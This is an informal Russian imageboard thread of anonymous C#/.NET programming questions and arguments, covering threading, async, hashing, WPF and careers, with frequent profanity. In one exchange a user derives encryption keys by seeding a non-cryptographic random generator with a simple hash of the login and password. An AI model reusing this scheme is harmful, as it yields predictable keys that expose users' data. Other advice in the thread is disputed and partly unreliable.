Щас попробую с нуля эти примеры. Если будут ошибки, отпишусь.
Спасибо.

у меня сервер на .Net Core 3.0, а клиент unity IL2CPP. я до этого использовал SignalR, но на устройствах apple вечно эта мразь рвет соединение хер пойми из-за чего. поэтому я решил пилить на чем-то низкоуровневом.
Аноним 17/08/20 Пнд 20:16:49 17798021183
>>1779781
после выхода из using твой поток закрывается нафиг
убери using
Аноним 17/08/20 Пнд 20:18:32 17798061184
>>1779802
пробовал.
но не понимаю что за дичь и что делать дальше с ним.
Аноним 17/08/20 Пнд 20:55:06 17798441185
15795203533613.webm 14520Кб, 854x480, 00:01:38
854x480
Аноним 17/08/20 Пнд 21:29:29 17798931186
Аноним 17/08/20 Пнд 22:08:38 17799121187
Как в net core контролить фпс на собственном движке игры?
Проблема заключается в том что Thread.Sleep на core ждет для значения 1 минимум 12-15 мс, на фреймворке 4.8 нормально все работало, а теперь либо жрать ресурсы пользователя, либо просто так пожирать целое ядро на компе.
А я хочу дать возможность пользователя залочить игру на нужном ему фпс и при этом не жрать впустую его ресурсы.
Аноним 17/08/20 Пнд 23:39:09 17799921188
>>1779912
Что мешает просто проверять дельту времени прошедшую с последней отрисовки и пропускать отрисовки, если дельта меньше?
Аноним 17/08/20 Пнд 23:41:13 17799941189
>>1779912
await Task.Delay();
Забудь про Thread.Sleep (и желательно вообще Thread класс) в коре.
Аноним 17/08/20 Пнд 23:50:51 17800001190
>>1779994
В итоге он забудет и обосрется, потому что без Thread не сможет сохранить данные в случае необработанного исключения, так как все таски убиваются не дожидаясь их завершения.
Аноним 17/08/20 Пнд 23:52:00 17800011191
Какой JS фреймворк посоветуете - реакт или ангуляр?
Аноним 17/08/20 Пнд 23:52:17 17800021192
>>1780000
Чувак, учи матчасть, а не находи оправдания своему невежеству.
Аноним 17/08/20 Пнд 23:55:11 17800051193
>>1780001
Вообще пох, хоть VueJS. Какой больше нравится, тот и используй. Серьёзно, абсолютно пофиг какой из них брать и даже абсолютно пофиг на то, какие пакеты выберешь для работы с CSS, UI components, testing, etc.. Скорость работы, производительность, функционал приложухи будет зависеть от твоих рук и на сколько ты подружишься со своими инструментами.
Аноним 18/08/20 Втр 00:08:23 17800141194
>>1780002
Так это тебе её учить надо, раз ты не знаешь, что класс Thread в некоторых случаях незаменим.
Аноним 18/08/20 Втр 00:10:07 17800151195
>>1780005
VueJS нет в шаблонах новых проектах в студии, только эти два.
Интересуют не собственные проекты, а перспектива для устройства на работу.
Аноним 18/08/20 Втр 00:42:41 17800431196
>>1780015
Делать фронт на Ангуляре или Реакте через VS шаблоны - это пистец. Для собственных проектов как раз пойдёт. Для реальных проектов надо настраивать 2 отдельных приложения - для бэка и для фронта, и настраивать таски через какой-нибудь Webpack для генерации и отдачи файлов браузеру.
Аноним 18/08/20 Втр 00:49:06 17800481197
>>1780000
Ты тут херню написал. Без Thread всё прекрасно ловится и обрабатывается. Хоть у тебя один поток, хоть 100.
Аноним 18/08/20 Втр 00:57:06 17800511198
>>1780048
Типичныйэксперт с двача, лол.
Показывай мне код который в делегате ивента AppDomain.UnhandledException будет запускать таск записывающий информацию об исключении в файл и успевать это делать, пока clr не убьет его.
Аноним 18/08/20 Втр 01:30:29 17800781199
>>1780051
А нахрена ты non-thread pool threads используешь? Иначе зачем тебе UnhandledException сдался (да и вообще ручные ивенты и делегаты? как там в 2010, кстати?).

В коре всё прекрасно ловится и внутри тасок, и снаружи через всякие AggregateException https://docs.microsoft.com/en-us/dotnet/standard/parallel-programming/exception-handling-task-parallel-library

Для очень особых случаев (когда непонятные сервисы/библиотеки используешь) есть TaskScheduler.UnobservedTaskException https://docs.microsoft.com/en-us/dotnet/api/system.threading.tasks.taskscheduler.unobservedtaskexception
Аноним 18/08/20 Втр 01:55:40 17800921200
>>1780078
Речь идёт об UnhandledException те исключении которое никак не обработано, из за чего приложение прекращает работу. При чем здесь нон тред пул тредс и твои ссылки?
Аноним 18/08/20 Втр 03:45:19 17801131201
Аноним 18/08/20 Втр 04:39:27 17801191202
Анон, как заполнить DataGridComboBoxColumn в WPF?

Есть хоть один нормальный туториал? Не аутизм с глобальными ресурсами (да пиздец так делать - потом же хрен поймешь где кому какой список принадлежит)
Аноним 18/08/20 Втр 07:21:31 17801471203
>>1780113
Дебил, я еще раз повторяю, речь про эксепшн котопый ложит твое приложение и сохранение данных до того как процесс завершит работу. Если делать это используя класс task, то ничего не сохранится, в отличии от класса thread
Аноним 18/08/20 Втр 14:51:54 17805171204
>>1779992
Ничего не мешает, я могу так делать и сейчас так делаю, но это тупо жрет одно ядро на 100% так как цикл бесконечный и большую часть времени он выполняется сотни тысяч раз проверяя можно ли делать физику и рендер.
Но я не хочу греть зря проц и выполнять бесполезную работу.
Потому что на мощных машинах основной поток рендера может быть загружен на 20-30%, а остальные 70% получается бесполезная работа без thread sleep.

>>1779994
В фреймворке это было еще медленнее чем thread.sleep и сейчас в core работает так же как thread sleep давай минимум задержку в 14-16 мс, что не приемлемо так как физика у меня по умолчанию идет в 100 фпс.
И я не хочу использовать task потому что это ухудшает дебаг, так как каждый раз таска идет на новый поток и затем если я хочу собирать данные о перформансе или чем-то еще, то не могу сгруппировать их по потокам так как у меня будет сотни потоков в профайлере.
Для меня thread является идеальным решением, я же не временно беру поток, а на долгое время (пока не завершится программа) и всегда выполняю в нем работу
Аноним 18/08/20 Втр 16:38:19 17805941205
>>1780147
ууу, как всё запущено
Аноним 18/08/20 Втр 17:14:28 17806161206
dotnet core наконец-то завезли в Unreal Engine - https://github.com/nxrighthere/UnrealCLR

Godot иммет вшитую поддержку C#, но они используют Mono. С выходом .NET 5 моно и кор станут едины и тогда можно будет сказать что Godot использует самый последний dotnet.

Unity и CryEngine уже давно C# поддерживают https://dotnet.microsoft.com/apps/gaming

Что я хочу сказать - это прекрасно!
Аноним 18/08/20 Втр 17:21:35 17806241207
>>1779752
WASM-то сделают, но рантайм загружать все равно придется. Не думаю, что в браузеры запилят рантаймы под каждую платформу, это слишком много места
Как вариант – сделают AOT и можно будет работать с wasmовскими инструкциями, тогда оверхед будет минимальный. В любом другом случае – ну кто в своем уме будет делать сайт, который для первоначального рендеринга требует скачать 3-4 мегабайта?
Аноним 18/08/20 Втр 17:28:39 17806321208
>>1780015
Вью добавляется с полпинка
Нужно поменять скрипт запуска в дотнете, а во вью в конфиге добавить сообщение о запуске, как у реакта. А то он не стартует
Был гайд где-то, ищи
Но вообще идея странная, удобнее два отдельных приложения сделать. Я сам только недавно начал, сделал сперва как ты хочешь, потом разделил на два и кайфую. Только корс надо настроить
Вообще, мутная там безопасность, что пиздец, с ходу не поймешь, надо будет пару деньков посидеть
Аноним 18/08/20 Втр 17:30:26 17806351209
>>1780616
Слышал, что юнити работает на какой-то версии фреймворка и там не все так просто
Аноним 18/08/20 Втр 17:46:22 17806461210
>>1780624
Да, каждый браузер по умолчанию будет только C/C++/Rust вшивать. Но браузер может кэшить отдельные сборки, поэтому после одного такого сайта другие будут грузиться сразу. WASM как Docker - скачал image и запустил в отдельном контейнере. Images можно локально хранить и менеджить между разными приложениями.

Для игр, редакторов, всяких тяжёлых клиентов, типа Outlook, вполне будут качать и 3 и 10 мб.

И вообще если тебе понадобилось целый фреймворк тащить, чтобы написать веб приложение, то у тебя там явно не страничка с текстом и картинками, иначе можно было бы голый html + css + чуть-чуть js использовать.

PWA тоже вполне пойдёт. Можно даже во всякие апсторы выпускать.
Аноним 18/08/20 Втр 20:33:02 17808131211
index.jpeg 8Кб, 271x186
271x186
ЕОС, есть одна строка. Я хочу ее использовать как seed в рандомной генерации, но у дефолтного Random из-под коробки seed имеет тип int. Как мне можно конвертнуть напрямую стрингу в инту (в строке не цифры!) или как-то выйти из положения иначе?
Аноним 18/08/20 Втр 20:52:59 17808271212
Сделал пока вот такую хуиту
byte[] bytes = Encoding.ASCII.GetBytes(stringText);
int i = BitConverter.ToInt16(bytes, 0);
i.ToString();
Но для него стринга "11" и "11111111" это тоже самое. Если поставить конвертить в большую инту - выдает ексепшн что слишком малый байт массив (стринга), а мне нужна поддержка хотя бы двух символов в строке.
Пока держу вкурсе.
>>1780813
Аноним 18/08/20 Втр 20:53:55 17808291213
Может есть какая-то готовая либа чтобы я не крафтил велосипеды?
Аноним 18/08/20 Втр 21:24:37 17808681214
изображение.png 4Кб, 1001x104
1001x104
>>1780517
Начал исследовать проблему и нашел странное поведение.
То ли это новая винда 2004 теперь так тупит, то ли net core, но теперь thread.sleep(1) работает ступенькой с разницей в 300-1500 мс в шаг начиная с 15-16 мс и доходя до 1 мс как и должно быть.
Вот это график за 10 секунд.
Аноним 18/08/20 Втр 21:31:21 17808791215
>>1780813
>>1780827
>>1780829
Блять, скажите же мне бля что мне просто нужно GetHashCode строки взять.
Аноним 18/08/20 Втр 21:36:01 17808871216
>>1780879
Это не так.
GetHashCode не стабилен для стандартной строки и если ты хочешь иметь стабильный хэш тогда используй собственную реализацию строки.
Аноним 18/08/20 Втр 21:41:58 17808981217
>>1780887
Чому нестабилен? Я только что палкой потыкал - вроде нормально. Одно и тоже значение на строку выдает - заебись, все, мне больше не нужно, а в случае повтора хешей можно просто юзеру отправить что такой юзернейм занят и пошел он нахуй.
Какие еще подводные?
Аноним 18/08/20 Втр 21:42:02 17809001218
>>1780813
Я не понял твоей задачи от слова "совсем".
Аноним 18/08/20 Втр 21:45:40 17809061219
>>1780900
Я хочу сгенерить уникальный "рандомный" ключ шифрования на юзверя, взяв его логин+пароль(строку) как начальный сид для генерации, вместо того чтобы заебывать самого юзера явным рандомным ключем помимо логина/пароля.
Не спрашивайте нахуя, мне именно вот так нужно.
Аноним 18/08/20 Втр 21:53:23 17809121220
Короче я все сделал.
Спиздил вот эту либу для строк https://github.com/StefH/RandomDataGenerator
Написал вот так
var randomizerText = RandomizerFactory.GetRandomizer(new FieldOptionsText
{
Min = 32,
Max = 32,
Seed = textBox5.Text.GetHashCode()
});
key = randomizerText.Generate();
Аноним 18/08/20 Втр 22:00:50 17809181221
>>1780632
>Был гайд где-то, ищи

Зачем? Имеет смысл только если ты уже знаешь Vue и не хочешь учить React/Angular, иначе это сорт оф велосипедостроительство.

>Но вообще идея странная, удобнее два отдельных приложения сделать.

Ничего странного нет, все так делают, поэтому и шаблоны уже готовые есть.
Аноним 18/08/20 Втр 22:02:56 17809211222
>>1780898
У разных строк может быть одинаковый хэшкод.
Аноним 18/08/20 Втр 22:06:34 17809231223
>>1780868
В голове у тебя странное поведение. Thread.Sleep(1) отдает своё процессорное время другим потокам и когда оно вернётся к нему обратно зависит от многих факторов, начиная от количества потоков в системе, их приоритетах и заканчивая непосредственно типом процессора.
Аноним 18/08/20 Втр 22:13:18 17809301224
>>1780918
Все студенты и шаражки. В большом проде разбивают всё на разные приложения и над каждым из них своя тима работает.
Шаблоны были введены по такому же сценарию как и VB.NET - есть куча калек, которых надо как-то продолжать эволюционировать.
Аноним 18/08/20 Втр 22:31:38 17809521225
>>1780923
Очевидно же что я делаю проверку на полностью свободной системе и уже судя по всему начал докапываться до сути, проблема в самой винде, а точнее в какой-то обнове.
У меня такая фигня только с нет кором, на 4.8 все нормально.
Сделал тестовые версии для своих пользователей и узнал что у половины людей на винде 2004 проблемы, поведение точно такое же как у меня, ступеньками. На 1809 же ноуте та же самая программа дает для sleep(1) от 1 до 2 мс, график не идет таким вот бредом.
Аноним 18/08/20 Втр 22:33:16 17809541226
>>1780898
У хэша строк большая коллизия.
А нестабилен он от запуска к запуску, т.е на 100 запусков может быть как 100 одинаковых так и 100 разных хэшей, об этом на том же msdn написано.
Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.
Аноним 18/08/20 Втр 22:36:59 17809621227
>>1780954
>Именно поэтому если ты используешь строки в качестве ключей в какой-нибудь хэш коллекции, то можешь не слабо так обосраться и даже не понять почему.

Каким образом обосраться? Можно хоть все элементы коллекции под ключами с одинаковым хэшем хранить, это повлияет только на производительность.
Аноним 19/08/20 Срд 01:14:30 17810681228
>>1780918
Нагрузка на раздачу статики и ее сжатие ложится на плечи твоего сервиса, смекаешь?
Аноним 19/08/20 Срд 10:31:51 17812581229
1582008958198.jpg 423Кб, 1980x2048
1980x2048
Есть ли большая разница между изучением ASP.NET и ASP.NET Core? Не хочется винду ставить на ноут.
Аноним 19/08/20 Срд 11:28:21 17813201230
>>1780954
>>1780921
>У хэша строк большая коллизия
Мне похуй, один хуй коллизия ведь будет всегда, а большая или маленькая - какая разница если все равно нужно запилить костыли чтобы ее проверять и обрабатывать.
>на 100 запусков может быть как 100 одинаковых так и 100 разных хэшей
А вот это уже хуево.
Аноним 19/08/20 Срд 11:32:16 17813251231
Блять, таки да. Только что проверил на XP sp3 и на десятке (.net 4) - ключи разные, печалька.
Аноним 19/08/20 Срд 12:09:50 17813951232
Короче я спиздил с стаковерфлоу решение https://stackoverflow.com/questions/36845430/persistent-hashcode-for-strings

int hash1 = 5381;
int hash2 = hash1;
for(int i = 0; i < str.Length && str != '\0'; i += 2)
{
hash1 = ((hash1 << 5) + hash1) ^ str;
if (i == str.Length - 1 || str[i+1] == '\0')
break;
hash2 = ((hash2 << 5) + hash2) ^ str[i+1];
}
return hash1 + (hash2*1566083941);

Затестил на xp и десятке - полет нормальный.

Аноним 19/08/20 Срд 12:17:08 17814041233
>>1780952
>>1780868

https://docs.microsoft.com/en-us/windows/win32/api/timeapi/nf-timeapi-timebeginperiod
В новых версиях винды они что-то намутили с таймерами и поэтому везде где они используются надо вручную вызывать это.
Большинство игрушек которые написано давно не имеют подобного и поэтому на новой винде как бы "плывут". Плюс куча тестового софта которые используют твой thread.sleep для тестов и рассчитывают на менее чем 15-30 мс (на многих системах не твои 15-16 мс выдает, а 30-35 мс) проваливаются и вводят разработчиков в недоумение.
Есть грязный хак сделать таймер в 1 мс для всей системы, это своего рода фикс для таких приложений без их переписывания.

>>1780962
Предположим ты хочешь хранить состояние программы между запусками и вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.
Вполне может произойти такая ситуация что лишь 1 хэш на 1000 изменится и ты не будешь понимать что за чертовщина твориться и откуда вылезают баги.
Не говоря уже о том что это поведение изначально крайне нестабильно и не зависит от тебя, в minor версиях может меняться алгоритм и в результате в тебя в один момент времени коллизии на 100_000, через пару дней после обновления станет 30_000. И никак на это повлиять ты не можешь.
Аноним 19/08/20 Срд 14:37:30 17816581234
image.png 49Кб, 1200x1200
1200x1200
В консольном проекте WebClient.DownloadString() работал нормально, но когда перенес этот же код в библиотеку, вместо русских букв начали отображаться заменяющие символы. Пробовал загружать массив байт вместо строки, менять кодировки, использовать HttpClient - не помогло. В чем проблема?
Аноним 19/08/20 Срд 15:05:05 17816891235
Посоветуйте обфускатор. Можно с торрентов.
Аноним 19/08/20 Срд 15:58:39 17817931236
>>1781258
В одном случае нужна винда, в другом нет.
В первом случае фреймворк старый, во втором - пилится каждый день и планы еще на несколько лет вперёд.
Аноним 19/08/20 Срд 19:42:21 17820911237
>>1781404
> вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.

Так я тебе и говорю, что ничего не сломает. Одинаковые хэши только замедлят выбор нужного элемента из коллекции, потому что все они будут в одной корзине, т. е. нужно будет перебрать все ключи и сравнить их с запрошенным ключом. Именно поэтому сравнение строк идёт не по ссылке, а по значению.
Аноним 19/08/20 Срд 19:44:11 17820951238
>>1781658
Зависит от того где отображается и что делает библиотека. Мысли читать не умею, извини.
Аноним 19/08/20 Срд 19:45:00 17820971239
>>1781689
Так выбор не велик вроде. Для .net core нет нормальных обфускаторов, все заточены только под .net 4.5
Аноним 19/08/20 Срд 21:52:43 17821701240
image.png 35Кб, 795x542
795x542
Добрый вечер.
Объясните пожалуйста почему в 6 строке в выводе будет false?
Или отправьте что почитать по этому поводу.
Буду благодарен.
Аноним 19/08/20 Срд 22:16:05 17821821241
Аноним 20/08/20 Чтв 08:56:07 17823881242
дорогие аноны! вопрос про карьеру ( тупой , но не ссыте на меня пжлс ). Короче я поработал поработал, и понял что си шарп топ язык ваще. А еще мне нравится криптография и вообще все, что связанно с защитой.
ВОПРОС
Есть ли предметные области, которые скрещивают эти вещи? Или вообще любой разраб должен знать методы защиты и применять их? А может блокчейн является этой панацеей?
Короче не игнорьте плз, буду очень благодарен за ответ нубу (опыт работы если что есть, 3 года, просто два из них это Си а год юнити)
Аноним 20/08/20 Чтв 10:35:32 17824401243
7a18be57c9a6eb6[...].jpg 32Кб, 600x400
600x400
>>1782388
>два из них это Си
>год юнити
>нравится криптография
>и понял что си шарп топ язык ваще
чухня подзалупная, проиграл с подливой с мамкиного разработчика
Аноним 20/08/20 Чтв 11:07:27 17824661244
>>1782440
да да да, ты такой умный и успешный, мы все поняли. Иди выпей таблетки и иди поспи
Аноним 21/08/20 Птн 08:18:14 17835411245
Анон, помоги, что за херня. Вот у меня есть ComboBox в wpf (.core если это на что-то влияет)

В XAML описан так:
<ComboBox x:Name="SelectStreets" Loaded="SelectStreets_Loaded" HorizontalAlignment="Left" Margin="109,147,0,0" VerticalAlignment="Top" Width="176" IsEditable="True"/>

Вот есть функция загрузки
private void SelectStreets_Loaded(object sender, RoutedEventArgs e)
{
SelectStreets.ItemsSource = nameStreet;
SelectStreets.SelectedIndex = 0;
}

nameStreet - это просто член базового класса типа List:
List<string> nameStreet = new List<string>();
nameStreet заполняется при запуске, в конструкторе окна перед вызовом InitializeComponent();


ВОПРОС - почему когда я первый раз щелкаю по этому выпадающегому списку - он на 2-3 секунды зависает? Второй и дальше клики уже нормально. Именно на первом. Как будто он список загружает в момент первого клика. Но опять же - там не больше 200 записей, что там тормозит?
Аноним 21/08/20 Птн 09:48:44 17835781246
Вот сделал совсем минимальный пример проблемы (просто форма с комбобоксом, заполненным 2000 числами)

XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg

Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку?
Аноним 21/08/20 Птн 12:43:15 17838361247
Команда ищет на удалёнку бэкенд-куна с знанием .NET Framework, .NET Core, ASP.NET Core, OpenAPI.
Ещё немного навыков: SignalR, postgresql, git, gitlab, понимание Docker(как запустить).
Какие-то другие навыки и опыт тоже приветствуются. Писать в телегу @RandomZTN
ЗП 300-900 р/ч(уже на руки после вычета налогов) в зависимости от уровня. Желательно фултайм.
Аноним 21/08/20 Птн 12:51:50 17838441248
>>1783836
искать на дваче? Ты ебонулся? Ты бы еще на вокзале к бомжам подошел и начал расказывать, какой у вас проект и кто вам нужен
Аноним 21/08/20 Птн 13:07:30 17838531249
>>1783844
Иногда из такого говна можно найти бриллиант, так что норм, может кто толковый напишет
Аноним 21/08/20 Птн 13:36:34 17838851250
>>1783853
да ты проскроль вверх, что в постах - WPF/WF, TCP клиенты. Я когда то был на собесе - собеседовали 2 дева (как я понял тим лид и сеньер). Так вот я пизданул, что когда то был опыт разработки на WPF (хотя приходил на Core) - делал парсер тредов двача, так один из них улыбнулся ехидно типо "Ооо, двач" и шепнул что то второму на ухо (наверное что то типо "О бля, прон видать качает там"). Так вот я прошел собес на 10/10 - ответил на все развернуто, поулыбался (софт скилы типо), опыт был хороший. И знаешь что? Мне никто не перезвонил. Так что еще раз повторюсь - лучше бомжей с вокзала поспрашивай, там ты скорее бриллиант найдешь, чем тут
Аноним 21/08/20 Птн 15:29:17 17840321251
>>1783844
C такой зп только на дваче и искать долбоеба.
Аноним 21/08/20 Птн 15:56:55 17840681252
C
Аноним 21/08/20 Птн 15:59:06 17840731253
Сап, Двач. Когда рациональнее использовать ссылочные типы, а когда типы по значению? Начал разбираться с памятью, "понял" то что в стек будет храниться ссылка на кучу, если разговор про ссылочные типы. Что быстрее?
Аноним 21/08/20 Птн 16:16:47 17841111254
>>1784032
это $4-12 - дно какого ни будь Upwork или freelancer.com. Только там ангельский знать нужно, а тут походу русиш_компани_и_ко. Поэтому по оплате мне кажется все справедливо
Аноним 21/08/20 Птн 16:45:12 17841871255
>>1784111
На апворке минимальный рейт 15 долларов в час, чтобы индусы не сбивали до 0
Аноним 21/08/20 Птн 16:48:33 17841981256
Аноним 21/08/20 Птн 17:56:23 17842801257
>>1784073
Что быстрее зависит от размера объекта, если объект не большой, то выгоднее делать его значимым типом, если большой то выгоднее делать структурой. Также важно так как ты его используешь, если часто передаешь в разные методы, то выгоднее делать ссылочным типом, так как в случае с значимым типом каждый раз будет создаваться копия объекта, а в случае с ссылочным только копия ссылки. Можно конечно передавать значение по ссылке, но это наклаыдывает определенные ограничения, например асинхронные методы не принимают ref параметров.
Остальное здесь прочитать можно:
>>1784198
Аноним 21/08/20 Птн 20:25:44 17843601258
как сделать вызов клика по кнопке когда ты пишешь в форме? ну вот как вконтакте ты пишешь, нажимаешь ентер и сообщение отправляется, как такое реализовать в asp net
Аноним 21/08/20 Птн 20:58:11 17843771259
как реализовать фичу прочтенных\не прочтенных сообщений?
Аноним 21/08/20 Птн 21:06:00 17843881260
>>1784280
спасибо, буду знать
Аноним 22/08/20 Суб 11:46:31 17847341261
Может кто помочь? Ото я новичок и не очень понимаю как все реализовать. Создание бинарного дерева поиска по структуре, как то реализовать выборочную сортировку по выбранному элементу из структуры. Код структуры и добавления в дерево по ссылке
https://pastebin.com/5W6cH6HV
Аноним 22/08/20 Суб 14:54:38 17848581262
image.png 290Кб, 995x690
995x690
Запрос в гугле вывел меня на мейл.
>У меня два вопроса: есть ли другие способы вернуться к началу и можно ли использовать goto в switch-case ?
>пикрелейтед
AnalDestructor2010 22/08/20 Суб 21:09:08 17850821263
Есть EF со своими сущностями, есть репозиторий поверх еф. Я так понимаю репозиторий не должен выствлять во вне энтити от еф? Т.е. мне следует сделать дто для ентитей, правильно?
Аноним 23/08/20 Вск 00:02:58 17851471264
Аноним 23/08/20 Вск 07:02:11 17852831265
>>1785147
Ты видел использование репозитория в крупных проектах?
Пишешь репозиторий, пишешь сущности для него, если надо работать с двумя репозиториями одновременно, начинаешь дрочить вприсядку, попутно въебывая тонны кода в свой проект, а логику еще даже не начинал писать. При том, что еф уже представляет хороший уровень абстракции

Очень приятно прописывать все эти сущности, тут я согласен. Как бы занят делом, а по факту бойлерплейт ручками прописываешь и думаешь – о, ебать, вот это я прогрессивный программист, не хуйней, а важным делом занят
Аноним 23/08/20 Вск 10:30:46 17853171266
>>1785147
Щас бы видосики смотреть по пол часа, чтоб узнать то, что можно было бы прочитать текстом за пять минут.
>>1785283
Я тут проспался и решил использовать интерфейсы для сущностей. Т.е. из репы будут торчать IAnimal, а возвращаться AnimalEntity : IAnimal, который используется в дбконтексте. Просто меня напрягает то, что репа может вернуть объект с непрогруженными навигационными свойствами.
Аноним 23/08/20 Вск 11:01:00 17853271267
>>1785283
Мда, я похоже проебался с терминjлогией. Я скорее имел ввиду сервис, чем репозиторий.
Аноним 23/08/20 Вск 14:06:58 17854711268
Нужно запускать код который я не могу контролировать и который не должен работать больше чем X мс.
Как это организовать?
Просто пользователь может сделать while(true) или thread.sleep(100000) и мне нужно чтобы этот код умирал через указанное мной время.
Аноним 23/08/20 Вск 15:04:30 17855191269
12123.jpg 143Кб, 1253x717
1253x717
Аноним 23/08/20 Вск 15:51:34 17855541270
>>1785471
Запусти его в отдельном треде. Если не вернет управление в заданное время, то делай треду Abort.
Аноним 23/08/20 Вск 19:46:45 17858101271
>>1785283
>Ты видел использование репозитория в крупных проектах?
У нас используется в проектах с несколькими миллионами запросов в день и более 1кк строк кода в каждом из проектов.
Аноним 23/08/20 Вск 19:58:04 17858181272
Аноним 23/08/20 Вск 21:27:19 17858801273
Антох, как сделать так, чтобы итерации в цикле проходили с задержкой в 10 секунд? Thread.Sleep не помогает, виснет всё приложение к хуям на эти 10 секунд. В петухоне это делается просто time.sleep(x). В Шарпе что-то не понимаю.
Аноним 23/08/20 Вск 21:30:36 17858821274
Аноним 23/08/20 Вск 21:59:03 17858981275
>>1785882
Хуйнул короче async перед void, а потом с помощью await Task заборол проблему
Аноним 23/08/20 Вск 23:23:04 17859471276
У меня есть класс
public class ForDataGridView
{
public string Колонка1{ get; set; }
public string Колонка2{ get; set; }
public string Колонка3{ get; set; }
public string Колонка4{ get; set; }
}
Есть массив.
List<ForDataGridView> data = new List<ForDataGridView>();
И когда я наполняю его данными и делаю так.
dataGridView1.DataSource = data;
То всё пиздато, кроме 1 - я не могу сортировать столбцы по нажатию на хедер. Как включить сортировку?
Аноним 23/08/20 Вск 23:40:53 17859481277
protected internal: совмещает функционал двух модификаторов. Классы и члены класса с таким модификатором доступны из текущей сборки и из производных классов. что значит текущая сборка?
Аноним 24/08/20 Пнд 01:32:58 17859911278
Вот сделал совсем минимальный пример проблемы (просто форма с комбобоксом, заполненным 2000 числами)

XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg

Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку? (если у вас нет задержки, увеличьте размер листа)

Ну должно же быть решение
Аноним 24/08/20 Пнд 06:24:30 17860431279
>>1785948
Текущее решение, т.е. доступен для любого класса который находится в рамках текущего решения.
Аноним 24/08/20 Пнд 06:28:59 17860441280
Аноним 24/08/20 Пнд 16:32:06 17864991281
>>1785898
>async перед void

>Use of async void in Core applications is ALWAYS bad. Avoid it, never do it. Typically, it's used when developers are trying to implement fire and forget patterns triggered by a controller action. Async void methods will crash the process if an exception is thrown.
Аноним 24/08/20 Пнд 16:53:52 17865451282
>>1786499
Дак а хули то ещё делать. Йилд это не то, не подходит
Аноним 24/08/20 Пнд 17:24:24 17865951283
>>1786499
Проиграл с дебила, который любой текст найденный в интернете воспринимает как религиозный фанатик священное писание.
Аноним 24/08/20 Пнд 17:55:32 17866481284
>>1786545
Делать
async Task MyMethod()
а не
async void MyMethod()
Аноним 24/08/20 Пнд 18:39:22 17867311285
>>1786595
Проиграл с дебила, который потом получит AggregateException в лицо вместо нормального.
Аноним 24/08/20 Пнд 19:01:01 17867761286
>>1786595
Прикол интернета в том, что тут очень легко обобщать.
Я на работе коллегам говорю: нельзя просто так брать и лепить что-либо найденное в интернете в проект as-is. Надо всегда проверять и подгонять под конкретное решение.
Однако анон в интренете заявляет что я прям "любой текст" и прям "как священное писание" воспринимаю.

Относительно async void.
Спорить не только можно, но и нужно о многих вещах. В споре, говорят, истина рождается. Но есть вещи, о которых спорить вредно. Например, "полезно ли прыгать с крыши 9го этажа?" или "хорошо ли это приставлять заряженный, рабочий пистолет к чьей-либо голове?". Можно сколько угодно философствовать и словоблудить, особенно на кухне и с банкой пива. Но в рабочее время ты только зря будешь отнимать время у людей.

async void не должен быть использован в проде. Вместо него надо использовать async Task.
Аноним 24/08/20 Пнд 19:56:48 17868611287
>>1786776
А в чём разница? Я в шарпе новичок и делаю програмки для себя.
Аноним 24/08/20 Пнд 20:24:33 17868851288
>>1786861
Ты новичок, и уже хуевые привычки вырабатываешь
Аноним 24/08/20 Пнд 23:28:45 17870891289
Имеется Asp.net core приложение, в одном из методов контроллера возвращается Redirect на внешний Url. Суть в том, что до этого редиректа имеются ещё строки кода и они, блин, выполняются только один раз, потом сразу редиректит, игнорируя эти строки. Через некоторое время опять этот код до редиректа может выполниться. Подозревал, что это из-за кэширования, погуглил, гугл подсказал атрибут [ResponseCache(NoStore =true, Location =ResponseCacheLocation.None)], но это не помогло. Поэтому ищу помощи тут.
Аноним 25/08/20 Втр 00:07:21 17871281290
>>1786885
Так я и спрашиваю, в чём разница. Почему перед войдом нельзя помещать асинк, а перед таском можно.
Аноним 25/08/20 Втр 00:49:36 17871511291
>>1787128
Буквально скролл на один экран вверх и там объяснение (цитата) от одного из разработчиков дотнета. И вообще это гуглится легко.
Аноним 25/08/20 Втр 09:57:07 17873101292
изображение.png 56Кб, 1133x743
1133x743
Ну как сосется?
Аноним 25/08/20 Втр 10:40:00 17873361293
>>1786499
Ага, давай, запили асинхронный обработчик нажатия на кнопку в WPF, например, возвращая Task.
Аноним 25/08/20 Втр 11:45:52 17874151294
>>1786776
>>1786731

Асинхронные обработчики всегда создаются с возвращаемым типом void;
Зачем мне возвращать таск, если я нигде не ловлю эксепшн и запускаю метод, который будет работать на протяжении жизни всего приложения, либо когда определенное условие не выполнится? Т. е. если в этом методе есть исключение, то я ожидаю, что приложение закончит свою работу, потому что иначе в работе приложения нет смысла;
Зачем мне подавлять предупреждения о том, что CS4014( call is not awaited), если я хочу void метод, но делают Task только потому что долбоеб с двача прочитал статью в интернете и воспринял её как догму вида ответа на вопрос "полезно ли прыгать с крыши 9го этажа?"?
Можно только посочувствовать проду в котором ты участвуешь/будешь участвовать, потому что в проде люди как раз должны отдавать себе отчет в том, почему у async void именно такое поведение, и где можно использовать async void, а где лучше использовать async Task. Умозаключение "никогда не использовать async void" полезно только если ты начинающий программист, который пока не знает всех тонкостей работы.
Аноним 25/08/20 Втр 16:00:47 17877311295
>>1787310
хотя бы 15к дают, в других городах вообще работы нет
Аноним 25/08/20 Втр 16:06:26 17877401296
image.png 36Кб, 602x641
602x641
Каково хуя оно ругается
Аноним 25/08/20 Втр 16:07:04 17877421297
>>1787740
ой блин я вообще слепой, забыл убрать else, полчаса сука думал тупил в экран
Аноним 25/08/20 Втр 18:49:28 17878881298
image.png 44Кб, 558x626
558x626
Аноним 26/08/20 Срд 05:51:27 17882721299
>>1787888
Анон, тут вопросец. Обычно такие вакансии подразумевают что я должен быть безработным (иначе не трудоустроить по нормальному)

А как быть, если я фултайм работаю в офисе, и вообщем меня устраивает. Но захотелось чего-нибудь нового, так как достиг потолка (6 лет тут сижу).
Но боюсь остаться у разбитого корыта и уволиться с текущей, и при этом не пройти собесы (я практик, я умных книжек не читал), или пройти, но попасть на галеру с задержками низкой зарплаты и переработками. Я еще живу в мухосрани - тут не получится каждый день ходить по офисам и искать идеал. Что есть - там и работать.

